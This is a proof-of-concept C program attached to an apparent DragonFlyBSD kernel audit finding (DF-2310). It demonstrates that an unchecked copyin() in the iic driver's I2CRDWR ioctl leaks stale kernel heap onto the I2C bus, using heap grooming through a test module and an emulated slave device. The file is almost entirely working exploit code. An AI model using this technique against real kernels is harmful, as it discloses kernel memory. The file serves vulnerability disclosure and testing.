⬢ DragonFlyBSD Kernel Audit
DF-2310 / poc2310.c
← back to finding ↓ download raw
/*
 * DF-2310 PoC -- I2CRDWR copyin(usrbufs[i], m->buf, m->len) at
 * sys/bus/iicbus/iic.c:362 is UNCHECKED: when the user buffer pointer is
 * invalid, copyin() fails silently and the freshly kmalloc'd (NOT
 * M_ZERO) m->buf -- i.e. stale kernel heap -- is transmitted to the I2C
 * peripheral by iicbus_transfer (:364).  A root operator can groom the
 * stale chunk (marker + kernel-realm pointer qwords, DF-5558 groom KLD),
 * then read back what the wire carried via the rig's emulated slave.
 *
 * Also proves the sibling unchecked copyout at :369 (read side) silently
 * drops data -- secondary.
 *
 * Flow (rig: production iic.ko/iicbus.ko/iicbb.ko on fakebb3 harness):
 *   1. control: I2CRDWR write msg with a VALID buf -> slave captures
 *      the pattern (rig healthy, copyin path works).
 *   2. groom: df5558.groom_size=32, groom_run -> kmalloc(32,M_TEMP)+
 *      fill("DF5558STALEHEAP!"+kptr)+kfree.
 *   3. attack: I2CRDWR write msg, len=32, buf=0xffffffff00000000
 *      (kernel-range -> copyin EFAULT, silently ignored).
 *   4. dump slave rx: "df5558staleheap" bytes present == stale kernel
 *      heap disclosed onto the I2C wire (and readable back by the same
 *      operator through any RD-capable path / logic analyzer).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/sysctl.h>

#ifndef IIC_H
#define IIC_H
#include <sys/ioccom.h>
#include <sys/types.h>
/* local copy of the iic ioctl ABI (sys/bus/iicbus/iic.h) */
struct iic_msg {
	uint16_t	slave;
	uint16_t	flags;
#define IIC_M_WR 0
#define IIC_M_RD 0x0001
	uint16_t	len;
	uint8_t		*buf;
};
struct iiccmd {
	u_char		slave;
	int		count;
	int		last;
	char		*buf;
};
struct iic_rdwr_data {
	struct iic_msg	*msgs;
	uint32_t	nmsgs;
};
#define I2CSTART	_IOW('i', 1, struct iiccmd)
#define I2CSTOP		_IO('i', 2)
#define I2CRSTCARD	_IOW('i', 3, struct iiccmd)
#define I2CWRITE	_IOW('i', 4, struct iiccmd)
#define I2CREAD		_IOW('i', 5, struct iiccmd)
#define I2CRDWR		_IOW('i', 6, struct iic_rdwr_data)
#define I2CRPTSTART	_IOW('i', 7, struct iiccmd)
#endif


#define MSGLEN 32

struct iic_msg msg_user;
struct iic_rdwr_data d;

static int
run_rdwr(int fd, struct iic_msg *m)
{
	struct iic_rdwr_data dd;

	dd.msgs = m;
	dd.nmsgs = 1;
	return (ioctl(fd, I2CRDWR, &dd));
}

static void
dump_rx(const char *tag)
{
	char buf[128];
	size_t l = sizeof(buf);

	if (sysctlbyname("hw.fakebb3.dumprx", buf, &l, NULL, 0) < 0) {
		printf("DF2310: dumprx FAILED %s\n", strerror(errno));
		return;
	}
	if (l >= sizeof(buf))
		l = sizeof(buf) - 1;
	buf[l] = 0;
	/* the sysctl write side prints to console; read side returns hex */
	printf("DF2310: %s slave-rx=%s\n", tag, buf);
}

static void
clear_rx(void)
{
	int v = 1;

	sysctlbyname("hw.fakebb3.clearrx", NULL, NULL, &v, sizeof(v));
}

static void
groom(void)
{
	int size = MSGLEN, run = 1, stats = 0;
	size_t l;

	sysctlbyname("df5558.groom_size", NULL, NULL, &size, sizeof(size));
	sysctlbyname("df5558.groom_run", NULL, NULL, &run, sizeof(run));
	l = sizeof(stats);
	sysctlbyname("df5558.groom_stats", &stats, &l, NULL, 0);
	printf("DF2310: groom ran (stats=%d)\n", stats);
}

int
main(void)
{
	unsigned char good[MSGLEN];
	int fd;

	setvbuf(stdout, NULL, _IONBF, 0);
	fd = open("/dev/iic0", O_RDWR);
	if (fd < 0) {
		printf("DF2310: open /dev/iic0 FAILED %s\n", strerror(errno));
		return (1);
	}

	/* ---- control: valid buffer ---- */
	memset(good, 0, sizeof(good));
	for (int i = 0; i < MSGLEN; i++)
		good[i] = (unsigned char)(0x40 + i);
	clear_rx();
	memset(&msg_user, 0, sizeof(msg_user));
	msg_user.slave = 0x50;
	msg_user.flags = IIC_M_WR;
	msg_user.len = MSGLEN;
	msg_user.buf = good;
	if (run_rdwr(fd, &msg_user) < 0) {
		printf("DF2310: control I2CRDWR FAILED %s\n", strerror(errno));
		return (1);
	}
	dump_rx("CONTROL (valid buf)");

	/* ---- attack: invalid buffer after groom ---- */
	clear_rx();
	groom();
	memset(&msg_user, 0, sizeof(msg_user));
	msg_user.slave = 0x50;
	msg_user.flags = IIC_M_WR;
	msg_user.len = MSGLEN;
	msg_user.buf = (uint8_t *)0xffffffff00000000ULL;	/* kernel range */
	if (run_rdwr(fd, &msg_user) < 0) {
		printf("DF2310: attack I2CRDWR rc=%d (%s) -- note: the "
		    "copyin failure is NOT reported; transfer ran anyway\n",
		    errno, strerror(errno));
	} else {
		printf("DF2310: attack I2CRDWR returned SUCCESS despite "
		    "invalid buf (copyin error swallowed at iic.c:362)\n");
	}
	dump_rx("ATTACK (invalid buf, post-groom)");

	/* verdict from the console kprintf (hw.fakebb3.dumprx write) --
	 * re-read the sysctl for the hex here as well */
	printf("DF2310: check console for '[fakebb3] rxlen=' lines: "
	    "attack capture containing 44 46 35 35 35 38 53 54 41 4c 45 "
	    "48 45 41 50 21 (\"DF5558STALEHEAP!\") == stale kernel heap "
	    "sent to the I2C device\n");
	return (0);
}